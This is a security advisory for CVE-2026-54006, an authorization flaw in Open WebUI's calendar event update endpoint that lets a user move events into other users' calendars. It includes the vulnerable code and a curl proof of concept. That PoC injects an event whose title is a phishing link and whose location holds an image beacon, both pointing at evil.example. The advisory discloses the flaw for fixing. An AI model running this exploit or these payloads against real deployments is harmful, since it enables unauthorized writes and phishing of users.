PT-2026-50478 · Pypi · Open-Webui

Published

2026-06-17

·

Updated

2026-06-17

·

CVE-2026-54006

CVSS v3.1

4.3

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

POST /api/v1/calendars/events/{event id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar id supplied in the request body. The model layer then persists the new calendar id unconditionally.
A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create event correctly performs. This is reachable on default configuration: ENABLE CALENDAR and USER PERMISSIONS FEATURES CALENDAR both default to True.

Details

Sink — missing destination check

backend/open webui/routers/calendar.py:283-297
python
@router.post('/events/{event id}/update', response model=CalendarEventModel)
async def update event(
  request: Request, event id: str, form data: CalendarEventUpdateForm,
  user: UserModel = Depends(get verified user)
):
  await check calendar permission(request, user)
  event = await CalendarEvents.get event by id(event id)
  if not event:
    raise HTTPException(status code=404, detail='Event not found')

  await check calendar access(event.calendar id, user, 'write')  # ← SOURCE only

  updated = await CalendarEvents.update event by id(event id, form data) # ← writes form data.calendar id
  ...
backend/open webui/models/calendar.py:658-693 (update event by id)
python
update data = form data.model dump(exclude unset=True)
for field in [
  'calendar id',     # ← destination persisted with no ACL
  'title', 'description', 'start at', 'end at', 'all day',
  'rrule', 'color', 'location', 'is cancelled',
]:
  if field in update data:
    setattr(event, field, update data[field])

Reference — create event does check the destination

backend/open webui/routers/calendar.py:255
python
await check calendar access(form data.calendar id, user, 'write')

Default-config gates (both True)

  • backend/open webui/config.py:1658-1662ENABLE CALENDAR defaults 'True'
  • backend/open webui/config.py:1554USER PERMISSIONS FEATURES CALENDAR defaults 'True'
  • backend/open webui/main.py:1457 — router mounted unconditionally

PoC

Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.

1. Environment

bash
git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d    # http://localhost:3000
Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER TOKEN / $VICTIM TOKEN.

2. Obtain the victim's calendar id

Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:
  • Read-only share — victim (or a group admin) grants the attacker read on a calendar; the ID is returned by GET /api/v1/calendars/.
  • Event invitation — victim adds the attacker as an attendee on any event; the event payload (CalendarEventModel, models/calendar.py:127) includes calendar id.
  • Any side-channel (logs, screenshots, browser history).
For reproduction the maintainer can simply read it as the victim:
bash
VICTIM CALENDAR ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" 
 -H "Authorization: Bearer $VICTIM TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

3. Control — direct create is correctly blocked

bash
curl -s -o /dev/null -w '%{http code}
' 
 -X POST "$OPENWEBUI/api/v1/calendars/events/create" 
 -H "Authorization: Bearer $ATTACKER TOKEN" -H 'Content-Type: application/json' 
 -d "{"calendar id":"$VICTIM CALENDAR ID","title":"x","start at":1778400000000000000,"end at":1778403600000000000}"
# → 403

4. Exploit — create-then-reparent

bash
ATTACKER CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" 
 -H "Authorization: Bearer $ATTACKER TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar
EVENT ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" 
 -H "Authorization: Bearer $ATTACKER TOKEN" -H 'Content-Type: application/json' 
 -d "{"calendar id":"$ATTACKER CAL","title":"[INJECTED] Mandatory re-auth: https://evil.example/login","description":"Session expired.","location":"<img src=https://evil.example/beacon.png>","start at":1778400000000000000,"end at":1778403600000000000}" 
 | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT ID/update" 
 -H "Authorization: Bearer $ATTACKER TOKEN" -H 'Content-Type: application/json' 
 -d "{"calendar id":"$VICTIM CALENDAR ID"}"
# → 200, response shows "calendar id":"<VICTIM CALENDAR ID>"

5. Verification from victim's session

bash
curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" 
 -H "Authorization: Bearer $VICTIM TOKEN" | python3 -m json.tool
Observed output (truncated):
json
[{
 "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
 "calendar id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
 "user id": "7554dd33-e220-44cb-8441-169c55eef4f5",
 "title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
 "description": "Session expired.",
 ...
}]
The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.

Impact

  • Read-only → write escalation on shared calendars: a user granted read via AccessGrants can effectively write.
  • Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (CalendarEventChip.svelte:12 → common/Tooltip.svelte) renders title/location as DOMPurify-sanitised HTML with allowHTML=true, so an attacker can embed formatted links and <img> beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.
  • Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).

Fix

IDOR

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-54006
GHSA-F3G7-59QC-PQG6

Affected Products

Open-Webui